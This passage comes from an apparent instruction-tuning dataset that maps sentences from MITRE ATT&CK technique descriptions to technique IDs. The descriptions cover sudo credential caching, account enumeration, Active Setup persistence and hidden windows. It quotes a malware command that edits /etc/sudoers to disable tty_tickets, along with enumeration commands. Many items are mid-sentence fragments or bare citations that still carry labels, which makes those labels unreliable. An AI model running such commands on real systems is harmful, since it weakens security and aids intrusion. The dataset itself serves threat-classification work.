infrastructure.", "output": "T1587.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. ### Response: T1587.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)", "output": "T1587.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29) ### Response: T1587.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET", "output": "T1121", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Regsvcs and Regasm are Windows command-line utilities that are used to register .NET ### Response: T1121."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Component Object Model (COM) assemblies.", "output": "T1121", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Component Object Model (COM) assemblies. ### Response: T1121."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Both are digitally signed by Microsoft.", "output": "T1121", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both are digitally signed by Microsoft. ### Response: T1121."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MSDN Regsvcs) (Citation: MSDN Regasm)", "output": "T1121", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) ### Response: T1121."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility.", "output": "T1121", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. ### Response: T1121."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively.", "output": "T1121", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. ### Response: T1121."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.", "output": "T1121", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. ### Response: T1121."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", "output": "T1121", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm) ### Response: T1121."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to enumerate local device drivers on a victim host.", "output": "T1652", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to enumerate local device drivers on a victim host. ### Response: T1652."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)).", "output": "T1652", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)). ### Response: T1652."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.(Citation:", "output": "T1652", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.(Citation: ### Response: T1652."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers)", "output": "T1652", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) ### Response: T1652."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about device drivers (as well as associated services, i.e., [System Service Discovery](https://attack.mitre.org/techniques/T1007)) may also be available in the Registry.(Citation: Microsoft Registry Drivers)", "output": "T1652", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about device drivers (as well as associated services, i.e., [System Service Discovery](https://attack.mitre.org/techniques/T1007)) may also be available in the Registry.(Citation: Microsoft Registry Drivers) ### Response: T1652."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.(Citation: Linux Kernel Programming)(Citation: lsmod man)(Citation: modinfo man)", "output": "T1652", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.(Citation: Linux Kernel Programming)(Citation: lsmod man)(Citation: modinfo man) ### Response: T1652."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"", "output": "T1206", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" ### Response: T1206."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: sudo man page 2018)", "output": "T1206", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: sudo man page 2018) ### Response: T1206."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code> that is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password.", "output": "T1206", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code> that is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. ### Response: T1206."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is because <code>sudo</code> has the ability to cache credentials for a period of time.", "output": "T1206", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is because <code>sudo</code> has the ability to cache credentials for a period of time. ### Response: T1206."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout.", "output": "T1206", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. ### Response: T1206."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation.", "output": "T1206", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. ### Response: T1206."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).", "output": "T1206", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again). ### Response: T1206."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse poor configurations of this to escalate privileges without needing the user's password.", "output": "T1206", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse poor configurations of this to escalate privileges without needing the user's password. ### Response: T1206."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range.", "output": "T1206", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. ### Response: T1206."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If it does, then malware can execute sudo commands without needing to supply the user's password.", "output": "T1206", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If it does, then malware can execute sudo commands without needing to supply the user's password. ### Response: T1206."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.", "output": "T1206", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user. ### Response: T1206."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The OSX Proton Malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !", "output": "T1206", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The OSX Proton Malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults ! ### Response: T1206."}{"instruction": "List the MITRE techniques contained in the text.", "input": "tty_tickets\\' >> /etc/sudoers</code>  (Citation: cybereason osx proton).", "output": "T1206", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: tty_tickets\\' >> /etc/sudoers</code>  (Citation: cybereason osx proton). ### Response: T1206."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In order for this change to be reflected, the Proton malware also must issue <code>killall", "output": "T1206", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In order for this change to be reflected, the Proton malware also must issue <code>killall ### Response: T1206."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Terminal</code>.", "output": "T1206", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Terminal</code>. ### Response: T1206."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.", "output": "T1206", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default. ### Response: T1206."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For examples, cloud environments typically provide easily accessible interfaces to obtain user lists.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For examples, cloud environments typically provide easily accessible interfaces to obtain user lists. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about email addresses and accounts may also be extracted by searching an infected system\u2019s files.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about email addresses and accounts may also be extracted by searching an infected system\u2019s files. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of domain accounts.", "output": "T1087.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of domain accounts. ### Response: T1087.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as <code>net user /domain</code> and <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code>on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups.", "output": "T1087.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as <code>net user /domain</code> and <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code>on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups. ### Response: T1087.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including <code>Get-ADUser</code> and <code>Get-ADGroupMember</code> may enumerate members of Active Directory groups.", "output": "T1087.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including <code>Get-ADUser</code> and <code>Get-ADGroupMember</code> may enumerate members of Active Directory groups. ### Response: T1087.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation:", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may achieve the same goal by modifying or extending features of the kernel.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may achieve the same goal by modifying or extending features of the kernel. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Active Setup is a Windows mechanism that is used to execute programs when a user logs in.", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Active Setup is a Windows mechanism that is used to execute programs when a user logs in. ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010)", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These programs will be executed under the context of the user and will have the account's associated permissions level.", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These programs will be executed under the context of the user and will have the account's associated permissions level. ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Active Setup by creating a key under <code> HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\</code> and setting a malicious value for <code>StubPath</code>.", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Active Setup by creating a key under <code> HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\</code> and setting a malicious value for <code>StubPath</code>. ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation:", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye CFR Watering Hole 2012)(Citation:", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye CFR Watering Hole 2012)(Citation: ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016) ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots.", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users.", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, windows that would typically be displayed when an application carries out an operation can be hidden.", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden.", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One example of this is <code>powershell.exe -WindowStyle", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One example of this is <code>powershell.exe -WindowStyle ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hidden</code>.", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hidden</code>. ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: PowerShell About 2019)", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: PowerShell About 2019) ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, on macOS the configurations for how applications run are listed in property list (plist) files.", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, on macOS the configurations for how applications run are listed in property list (plist) files. ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One of the tags in these files can be <code>apple.awt.", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One of the tags in these files can be <code>apple.awt. ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock.", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware) ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals.", "output": "T1564.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. ### Response: T1564.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many operating systems use signals to deliver messages to control process behavior.", "output": "T1564.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many operating systems use signals to deliver messages to control process behavior. ### Response: T1564.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off.(Citation: Linux Signal Man)", "output": "T1564.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off.(Citation: Linux Signal Man) ### Response: T1564.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes.", "output": "T1564.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE 